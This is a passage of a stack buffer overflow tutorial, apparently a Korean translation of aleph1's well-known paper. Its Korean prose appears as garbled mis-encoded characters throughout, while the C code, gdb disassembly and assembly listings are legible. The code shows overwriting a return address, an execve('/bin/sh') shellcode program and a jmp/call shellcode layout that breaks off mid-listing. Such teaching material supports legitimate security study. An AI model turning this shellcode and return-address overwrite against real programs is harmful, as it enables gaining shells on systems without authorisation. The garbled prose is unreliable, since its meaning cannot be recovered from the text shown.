ÇÁ·Î¼¼½º ÁÖ¼Ò°ø°£ ¹Ù±ù¿¡ ÀÖ´Ù. ±×°Ô ¹Ù·Î ÇÔ¼ö°¡ º¹±ÍµÈ ÈÄ, ±× ÁּҷκÎÅÍ ´ÙÀ½ ¸í·ÉÀ» ÀÐÀ¸·Á°í ÇÒ¶§, Áö¿ªÄ§ÀÔ ¿¡·¯(segmentation violation)°¡ ¹ß»ýÇÏ´Â ÀÌÀ¯ÀÌ´Ù. * ¿ªÀÚÁÖ : À§ÀÇ 240¹ÙÀÌÆ®´Â ¿ø¹®¿¡¼­´Â 250¹ÙÀÌÆ®·Î µÇ¾î ÀÖ¾úÀ¸³ª, À߸øµÈ °Í °°¾Æ¼­ 240 À¸·Î ¼öÁ¤Çß½À´Ï´Ù. ±×·¯¹Ç·Î, ¹öÆÛ ¿À¹öÇ÷οì´Â ¿ì¸®°¡ ÇÔ¼öÀÇ º¹±ÍÁÖ¼Ò(RET)¸¦ ¹Ù²Ü ¼ö ÀÖµµ·Ï ÇØ ÁØ´Ù. ÀÌ ¹æ¹ýÀ¸·Î, ¿ì¸®´Â ÇÁ·Î±×·¥ÀÇ ½ÇÇàÈ帧À» º¯°æÇÒ ¼ö ÀÖ´Ù. ù ¹ø° ¿¹Á¦·Î µ¹¾Æ°¡¼­ ½ºÅÃÀÌ ¾î¶² ¸ð¾çÀ» ÇÏ°í ÀÖ¾ú´ÂÁö ±â¾ïÀ» µÇ»ì·Á º¸ÀÚ: ¸Þ¸ð¸®ÀÇ ¸Þ¸ð¸®ÀÇ ¾Æ·¡ÂÊ À§ÂÊ buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] ½ºÅÃÀÇ ½ºÅÃÀÇ À§ÂÊ ¾Æ·¡ÂÊ ¿ì¸®ÀÇ Ã¹¹ø° ¿¹Á¦¸¦ ¼öÁ¤Çؼ­ ±×°ÍÀÌ º¹±ÍÁÖ¼Ò(RET)¸¦ µ¤¾î ¾²µµ·ÏÇÏÀÚ. ±×¸®°í ¿ì¸®°¡ ¾î¶»°Ô ±×°ÍÀÌ ÀÓÀÇÀÇ Äڵ带 ½ÇÇàÇϵµ·Ï ¸¸µé ¼ö ÀÖ´ÂÁö ¼³¸íÇØ º¸ÀÚ. SFP´Â ½ºÅÿ¡ ÀÖ´Â buffer1[]ÀÇ ¹Ù·Î ¾Õ¿¡ ÀÖ´Ù. ±×¸®°í SFP ¾Õ¿¡´Â º¹±ÍÁÖ¼Ò(RET)°¡ ÀÖ´Ù. buffer1[]ÀÇ ³¡À» Áö³ª´Â °ÍÀº 4¹ÙÀÌÆ®ÀÌ´Ù. ÇÏÁö¸¸ buffer1[]Àº ½ÇÁ¦·Î´Â 2¿öµå Áï 8¹ÙÀÌÆ®¶ó´Â °ÍÀ» ±â¾ïÇضó. ÇÔ¼ö È£ÃâÀÌ µÈ ÈÄ¿¡, ¿ì¸®´Â ´ëÀÔ½ÄÀÎ 'x=1;'°ú °°Àº ¹æ¹ýÀ¸·Î º¹±Í°ªÀ» ¼öÁ¤ÇÒ °ÍÀÌ´Ù. ±×·¸°Ô Çϱâ À§Çؼ­´Â ¿ì¸®´Â º¹±ÍÁÖ¼Ò(RET)¿¡ 8¹ÙÀÌÆ®¸¦ ´õÇØ¾ß ÇÑ´Ù. ÄÚµå´Â ¿©±â ÀÖ´Ù: example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ ¿ì¸®°¡ ÇÑ ÀÏÀº buffer1[]ÀÇ ÁÖ¼Ò¿¡ 12¸¦ ´õÇÑ °ÍÀÌ´Ù. ÀÌ »õ·Î¿î ÁÖ¼Ò´Â º¹±ÍÁÖ¼Ò(RET)°¡ ÀúÀåµÈ °÷ÀÌ´Ù. ¿ì¸®´Â ÇÒ´ç½ÄÀ» ¶Ù¾î³Ñ¾î printfÇÔ¼ö È£Ãâ·Î ³Ñ¾î°¡±â¸¦ ¿øÇÑ´Ù. ¿ì¸®´Â ¾î¶»°Ô º¹±ÍÁÖ¼Ò(RET)¿¡ 8¹ÙÀÌÆ®¸¦ ´õÇÒ °ÍÀ» ¾Ë¾Ò´Â°¡? ¿ì¸®´Â ¸ÕÀú ½ÃÇè°ªÀ» »ç¿ëÇß°í (¿¹Á¦ 1À» À§ÇØ), ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÑ ÈÄ¿¡ gdb¸¦ ½ÃÀÛÇß´Ù. ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ function()ÇÔ¼ö¸¦ È£ÃâÇÒ¶§, RET´Â 0x80004a8ÀÌ µÉ°ÍÀ̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ±×¸®°í ¿ì¸®´Â 0x80004ab¿¡ ÀÖ´Â ÇÒ´ç½ÄÀ» ¶Ù¾î ³Ñ¾î°¡±â¸¦ ¿øÇÑ´Ù. ¿ì¸®°¡ ½ÇÇàÇϱ⸦ ¿øÇÏ´Â ´ÙÀ½ ¸í·ÉÀº 0x80004b2¿¡ ÀÖ´Ù. Àá±ñ¸¸ °è»êÇØ º¸¸é °Å¸®°¡ 8¹ÙÀÌÆ®¶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ½©ÄÚµå ~~~~~~~~ ÀÌÁ¦ ¿ì¸®´Â º¹±ÍÁÖ¼Ò(RET)¿Í ½ÇÇàÀÇ È帧À» ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù´Â »ç½ÇÀ» ¾Ë°í ÀÖ´Ù. ÇÏÁö¸¸ ¿ì¸®´Â ¾î¶² ÇÁ·Î±×·¥À» ½ÇÇà½ÃÅ°±â¸¦ ¿øÇϴ°¡? ´ëºÎºÐÀÇ °æ¿ì¿¡, ¿ì¸®´Â ÇÁ·Î±×·¥ÀÌ ½©À» ¶ç¿ì±â¸¦ ¿øÇÑ´Ù. ±×·¯¸é ½©·ÎºÎÅÍ ¿ì¸®´Â ¿ì¸®°¡ ¿øÇÏ´Â ´Ù¸¥ ¸í·Éµéµµ ½ÇÇàÇÒ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ¿ì¸®°¡ ÀÌ¿ëÇÏ°íÀÚ ÇÏ´Â ÇÁ·Î±×·¥¾È¿¡ ±×·± Äڵ尡 ÀÖÁö ¾Ê´Ù¸é? ¾î¶»°Ô ¿ì¸®´Â ÀÓÀÇÀÇ ¸í·ÉÀ» ±×°ÍÀÇ ÁÖ¼Ò°ø°£¿¡ À§Ä¡½Ãų °ÍÀΰ¡? ÇØ´äÀº ¿ì¸®°¡ ½ÇÇàÇϱ⸦ ¿øÇÏ´Â Äڵ带, ¿À¹öÇ÷οìµÇ°í ÀÖ´Â ¹öÆÛ¿¡ À§Ä¡½ÃÅ°°í º¹±ÍÁÖ¼Ò(RET)°¡ ´Ù½Ã ±× ¹öÆÛ¸¦ °¡¸®Å°µµ·Ï RET¸¦ µ¤¾î¾²´Â °ÍÀÌ´Ù. ½ºÅÃÀÌ ÁÖ¼Ò 0xFF¿¡¼­ ½ÃÀÛÇϸç S´Â ¿ì¸®°¡ ½ÇÇàÇϱ⸦ ¿øÇÏ´Â Äڵ带 ¶æÇÑ´Ù°í »ý°¢Çϸ鼭, ½ºÅÃÀÌ ¾î¶² ¸ð¾çÀ» ÇÏ°í ÀÖÀ»Áö »ìÆ캸ÀÚ: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack C ¿¡¼­ ½©À» ½ÇÇà½ÃÅ°±â À§ÇÑ ÄÚµå´Â ´ÙÀ½°ú °°´Ù: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ À§ÀÇ °ÍÀÌ ¾î¼Àºí¸®·Î´Â ¾î¶»°Ô Ç¥ÇöµÇ´Â Áö¸¦ ¾Ë±â À§Çؼ­´Â, ±×°ÍÀ» ÄÄÆÄÀÏÇÑ ÈÄ gdb¸¦ ½ÃÀÛÇØ¾ß ÇÑ´Ù. -static Ç÷¡±×¸¦ ¾²´Â °ÍÀ» ±â¾ïÇضó. ±×·¸Áö ¾ÊÀ¸¸é execve ½Ã½ºÅÛ È£Ãâ¿¡ ÇØ´çÇÏ´Â ½ÇÁ¦ ÄÚµå´Â Æ÷ÇÔµÇÁö ¾ÊÀ» °ÍÀÌ´Ù. ´ë½Å¿¡ º¸Åë ÇÁ·Î±×·¥ÀÌ ·ÎµåµÉ ¶§ ¿¬°áµÇ´Â µ¿ÀûÀÎ C ¶óÀ̺귯¸®¸¦ ÂüÁ¶ÇÒ °ÍÀÌ´Ù. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ ¿©±â¼­ ¹«½¼ÀÏÀÌ ÀϾ´ÂÁö ÀÌÇØÇϵµ·Ï ÇÏÀÚ. ¸ÕÀú mainÇÔ¼ö¸¦ ¾Ë¾Æº¸¸ç ½ÃÀÛÇÏÀÚ: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp ÀÌ°ÍÀº ÇÁ·Î½ÃÀú µµÀÔºÎÀÌ´Ù. ±×°ÍÀº ¸ÕÀú ¿¹ÀüÀÇ ÇÁ·¹ÀÓ Æ÷ÀÎÅ͸¦ ÀúÀåÇÏ°í, ÇöÀçÀÇ ½ºÅà Æ÷ÀÎÅ͸¦ »õ·Î¿î ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ·Î ¸¸µç´Ù. ±×¸®°í Áö¿ªº¯¼öµéÀ» À§ÇÑ °ø°£À» ³²°ÜµÐ´Ù. ÀÌ °æ¿ì ±×°ÍÀº: char *name[2]; Áï, charµ¥ÀÌÅÍÇüÀ» °¡¸®Å°´Â 2°³ÀÇ Æ÷ÀÎÅÍÀÌ´Ù. Æ÷ÀÎÅÍ´Â ±æÀÌ°¡ 1 ¿öµåÀ̹ǷÎ, ±×°ÍÀº 2¿öµå(8¹ÙÀÌÆ®)¸¦ À§ÇÑ °ø°£À» ³²°ÜµÐ´Ù. 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) ¿ì¸®´Â 0x80027b8 (¹®ÀÚ¿­ÀÎ "/bin/sh"ÀÇ ÁÖ¼Ò)°ªÀ» name[]ÀÇ Ã¹¹ø° Æ÷ÀÎÅÍ¿¡ º¹»çÇÑ´Ù. ÀÌ°ÍÀº ´ÙÀ½¿¡ ÇØ´çÇÑ´Ù: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) ¿ì¸®´Â 0x0°ª(NULL)À» name[]ÀÇ µÎ¹ø° Æ÷ÀÎÅÍ¿¡ º¹»çÇÑ´Ù. ÀÌ°ÍÀº ´ÙÀ½¿¡ ÇØ´çÇÑ´Ù: name[1] = NULL; execve() ÇÔ¼öÀÇ ½ÇÁ¦ È£ÃâÀº ¿©±â¼­ ½ÃÀÛÇÑ´Ù. 0x8000144 : pushl $0x0 execve()ÀÇ ÀÎÀÚµéÀ» ½ºÅÿ¡ ¹Ý´ë¼ø¼­·Î ¹Ð¾î³Ö´Â´Ù. NULL·Î ½ÃÀÛÇÑ´Ù. 0x8000146 : leal 0xfffffff8(%ebp),%eax name[]ÀÇ ÁÖ¼Ò¸¦ EAX·¹Áö½ºÅÍ·Î ºÒ·¯µéÀδÙ. 0x8000149 : pushl %eax name[]ÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ¹Ð¾î ³Ö´Â´Ù. 0x800014a : movl 0xfffffff8(%ebp),%eax ¹®ÀÚ¿­ÀÎ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ EAX·¹Áö½ºÅÍ·Î ºÒ·¯µéÀδÙ. 0x800014d : pushl %eax ¹®ÀÚ¿­ÀÎ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ¹Ð¾î ³Ö´Â´Ù. 0x800014e : call 0x80002bc <__execve> ¶óÀ̺귯¸® ÇÁ·Î½ÃÀúÀÎ execve()¸¦ È£ÃâÇÑ´Ù. call¸í·ÉÀº IP¸¦ ½ºÅÿ¡ ¹Ð¾î ³Ö´Â´Ù. ------------------------------------------------------------------------------ ÀÌÁ¦ execve()¸¦ ÇÒ Â÷·Ê´Ù. ¿ì¸®´Â Intel±â¹Ý ¸®´ª½º ½Ã½ºÅÛÀ» »ç¿ëÇÏ°í ÀÖ´Ù´Â °ÍÀ» ¸í½ÉÇضó. ½Ã½ºÅÛ È£ÃâÀÇ ¼¼ºÎ»çÇ×Àº OS¿Í CPU¿¡ µû¶ó¼­ ´Þ¶óÁú °ÍÀÌ´Ù. ¾î¶² °ÍÀº ÀÎÀÚµéÀ» ½ºÅÃÀ¸·Î ³Ñ±â´Â ÇÑÆí, ´Ù¸¥ °ÍÀº ·¹Áö½ºÅÍ·Î ³Ñ±ä´Ù. ¾î¶² °ÍÀº Ä¿³Î¸ðµå·Î ³Ñ¾î°¡±â À§Çؼ­ ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®¸¦ »ç¿ëÇÏÁö¸¸, ´Ù¸¥ °ÍÀº far È£ÃâÀ» »ç¿ëÇÑ´Ù. ¸®´ª½º´Â ½Ã½ºÅÛ È£ÃâÀÇ ÀÎÀÚµéÀ» ·¹Áö½ºÅÍ·Î ³Ñ±â°í, Ä¿³Î¸ðµå·Î ³Ñ¾î°¡±â À§Çؼ­ ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®¸¦ »ç¿ëÇÑ´Ù. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx ÇÁ·Î½ÃÀú µµÀÔºÎ. 0x80002c0 <__execve+4>: movl $0xb,%eax 0xb(10Áø¼ö·Î 11)À» ½ºÅÿ¡ º¹»çÇÑ´Ù. ÀÌ°ÍÀº ½Ã½ºÅÛ È£Ãâ ¸ñ·ÏÀÇ »öÀÎÀÌ´Ù. 11Àº execve¸¦ ¶æÇÑ´Ù. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ EBX·Î º¹»çÇÑ´Ù. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx name[]ÀÇ ÁÖ¼Ò¸¦ ECX·Î º¹»çÇÑ´Ù. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx null Æ÷ÀÎÅÍÀÇ ÁÖ¼Ò¸¦ EDX·Î º¹»çÇÑ´Ù. 0x80002ce <__execve+18>: int $0x80 Ä¿³Î¸ðµå·Î ¹Ù²Û´Ù. ------------------------------------------------------------------------------ execve() ½Ã½ºÅÛ È£Ãâ¿¡ ±×¸® ¸¹Àº °ÍÀÌ ÀÖÁö ¾Ê´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ¿ì¸®°¡ ÇؾßÇÏ´Â ÀüºÎ´Â ´ÙÀ½°ú °°´Ù: a) null¹®ÀÚ·Î Á¾·áµÇ´Â ¹®ÀÚ¿­ "/bin/sh"À» ¸Þ¸ð¸®ÀÇ ¾îµò°¡¿¡ À§Ä¡½ÃŲ´Ù. b) ¿öµå±æÀÌÀÇ nullÀÌ µÚµû¸£´Â, "/bin/sh"¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ ¸Þ¸ð¸®ÀÇ ¾îµò°¡¿¡ À§Ä¡½ÃŲ´Ù. c) 0xb¸¦ EAX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. d) ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼ÒÀÇ ÁÖ¼Ò¸¦ EBX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. e) ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ECX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. f) ¿öµå±æÀÌÀÇ nullÀÇ ÁÖ¼Ò¸¦ EDX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. g) int $0x80 ¸í·ÉÀ» ½ÇÇàÇÑ´Ù. ÇÏÁö¸¸ execve() È£ÃâÀÌ ¾î¶² ÀÌÀ¯·Î ÀÎÇØ ½ÇÆÐÇÑ´Ù¸é? ÇÁ·Î±×·¥Àº ÀÓÀÇÀÇ µ¥ÀÌÅ͸¦ Æ÷ÇÔÇÏ°í ÀÖÀ»Áö ¸ð¸£´Â ½ºÅÃÀ¸·ÎºÎÅÍ °è¼ÓÇؼ­ ¸í·ÉÀ» ÀÐ¾î µéÀÏ °ÍÀÌ´Ù. ÇÁ·Î±×·¥Àº ´ëºÎºÐ ÄÚ¾î ´ýÇÁ¸¦ ÀÏÀ¸Å³ °ÍÀÌ´Ù. ¸¸¾à execve ½Ã½ºÅÛ È£ÃâÀÌ ½ÇÆÐÇÑ´Ù¸é, ¿ì¸®´Â ÇÁ·Î±×·¥ÀÌ ±ú²ýÇÏ°Ô Á¾·áµÇ±â¸¦ ¿øÇÑ´Ù. ÀÌ°ÍÀ» ¼ºÃëÇϱâ À§Çؼ­´Â, ¿ì¸®´Â execve ½Ã½ºÅÛ È£Ãâ ´ÙÀ½¿¡ exit ½Ã½ºÅÛ È£ÃâÀ» Ãß°¡ÇØ¾ß ÇÑ´Ù. exit ½Ã½ºÅÛ È£ÃâÀº ¾î¶² ¸ð¾çÀ» ÇÏ°í Àִ°¡? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ exit ½Ã½ºÅÛ È£ÃâÀº 0x1À» EAX¿¡ À§Ä¡½ÃÅ°°í, exit Äڵ带 EBX¿¡ À§Ä¡½ÃÅ°°í "int $0x80"À» ½ÇÇàÇÒ °ÍÀÌ´Ù. ¹Ù·Î ±×°Å´Ù. ´ëºÎºÐÀÇ ÀÀ¿ë ÇÁ·Î±×·¥µéÀº ¾Æ¹«·± ¿¡·¯°¡ ¾ø¾ú´Ù°í ¾Ë¸®±â À§ÇØ Á¾·á½Ã¿¡ 0À» ¹ÝȯÇÑ´Ù. ¿ì¸®´Â EBX¿¡ 0À» À§Ä¡ ½Ãų °ÍÀÌ´Ù. ¼ø¼­¸®½ºÆ®´Â ´ÙÀ½°ú °°´Ù: a) null¹®ÀÚ·Î Á¾·áµÇ´Â ¹®ÀÚ¿­ "/bin/sh"À» ¸Þ¸ð¸®ÀÇ ¾îµò°¡¿¡ À§Ä¡½ÃŲ´Ù. b) ¿öµå±æÀÌÀÇ nullÀÌ µÚµû¸£´Â, "/bin/sh"¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ ¸Þ¸ð¸®ÀÇ ¾îµò°¡¿¡ À§Ä¡½ÃŲ´Ù. c) 0xb¸¦ EAX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. d) ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼ÒÀÇ ÁÖ¼Ò¸¦ EBX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. e) ¹®ÀÚ¿­ "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ECX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. f) ¿öµå±æÀÌÀÇ nullÀÇ ÁÖ¼Ò¸¦ EDX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. g) int $0x80 ¸í·ÉÀ» ½ÇÇàÇÑ´Ù. h) 0x1À» EAX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. i) 0x0À» EBX ·¹Áö½ºÅÍ¿¡ º¹»çÇÑ´Ù. j) int $0x80 ¸í·ÉÀ» ½ÇÇàÇÑ´Ù. ÀÌ°ÍÀ» ¾î¼Àºí¸®¾î·Î Á¶ÇÕÇÏ·Á°í Çϸ鼭, ¹®ÀÚ¿­À» ÄÚµå´ÙÀ½¿¡ À§Ä¡½ÃÅ°¸é¼­, ±×¸®°í ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¿Í null¿öµå¸¦ ¹è¿­´ÙÀ½¿¡ À§Ä¡½Ãų °ÍÀ» ±â¾ïÇϸé ÀÌ·¸°Ô µÈ´Ù: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ ¹®Á¦´Â ¿ì¸®°¡ ÄÚµå(±×¸®°í ±×°ÍÀ» µÚµû¸£´Â ¹®ÀÚ¿­)¸¦ ÀÌ¿ëÇÏ°íÀÚ ÇÏ´Â ÇÁ·Î±×·¥ÀÇ ¸Þ¸ð¸® °ø°£ÀÌ ¾îµð°¡ µÉÁö ¸ð¸¥´Ù´Â °ÍÀÌ´Ù. ±×°ÍÀ» ÇØ°áÇÏ´Â ÇÑ ¹æ¹ýÀº JMP¿Í CALL ¸í·ÉÀ» »ç¿ëÇÏ´Â °ÍÀÌ´Ù. JMP¿Í CALL ¸í·ÉÀº IP »ó´ë¹øÁö¸¦ ¾µ ¼ö ÀÖ´Ù. ÀÌ°ÍÀº ¿ì¸®°¡ ¶Ù¾î ³Ñ¾î°¡°í ½ÍÀº ¸Þ¸ð¸®ÀÇ Á¤È®ÇÑ ÁÖ¼Ò¸¦ ¾Ë ÇÊ¿ä°¡ ¾øÀÌ ÇöÀç IP·ÎºÎÅÍ ¶³¾îÁø °÷À¸·Î ¶Ù¾î ³Ñ¾î°¥ ¼ö ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ¸¸¾à ¿ì¸®°¡ CALL¸í·ÉÀ» "/bin/sh"¹®ÀÚ¿­ ¹Ù·Î ¾Õ¿¡ À§Ä¡½ÃŲ´Ù¸é, ¶Ç JMP¸í·É ¶ÇÇÑ À§Ä¡½ÃŲ´Ù¸é, ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò´Â CALLÀÌ ½ÇÇàµÉ ¶§, º¹±ÍÁÖ¼Ò·Î½á ½ºÅÿ¡ ¹Ð¾î ³Ö¾îÁú °ÍÀÌ´Ù. ±×·¯¸é, ¿ì¸®°¡ ÇÊ¿äÇÑ ÀüºÎ´Â º¹±ÍÁÖ¼Ò¸¦ ·¹Áö½ºÅÍ·Î º¹»çÇÏ´Â °ÍÀÌ´Ù. CALL¸í·ÉÀº ´Ü¼øÈ÷ À§¿¡ ÀÖ´Â ¿ì¸®ÀÇ ÄÚµåÀÇ ½ÃÀÛÀ» È£ÃâÇÑ´Ù. J°¡ JMP¸í·ÉÀ» ³ªÅ¸³»°í, C°¡ CALL¸í·ÉÀ» ³ªÅ¸³»¸ç s´Â ¹®ÀÚ¿­À» ¶æÇÑ´Ù°í »ý°¢Çϸé, ½ÇÇàÈ帧Àº ÀÌÁ¦ ´ÙÀ½°ú °°À» °ÍÀÌ´Ù: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) top of bottom of stack stack ÀÌ º¯°æÀ¸·Î, »öÀÎµÈ ÁÖ¼Ò¸¦ »ç¿ëÇÏ°í, °¢°¢ÀÇ ¸í·ÉÀÌ ¾ó¸¶³ª ¸¹Àº ¹ÙÀÌÆ®¸¦ Â÷ÁöÇÒ °ÍÀÎÁö ¾²¸é, ÄÚµå´Â ´ÙÀ½°ú °°´Ù: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ jmp¿¡¼­ call±îÁöÀÇ °Å¸®, call¿¡¼­ popl±îÁöÀÇ °Å¸®, ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¿¡¼­ ¹è¿­±îÁöÀÇ °Å¸®, ±×¸®°í ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¿¡¼­ ¿öµå±æÀÌÀÇ null±îÁöÀÇ °Å¸®¸¦ °è»êÇϸé ÀÌ·¸°Ô µÈ´Ù: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes 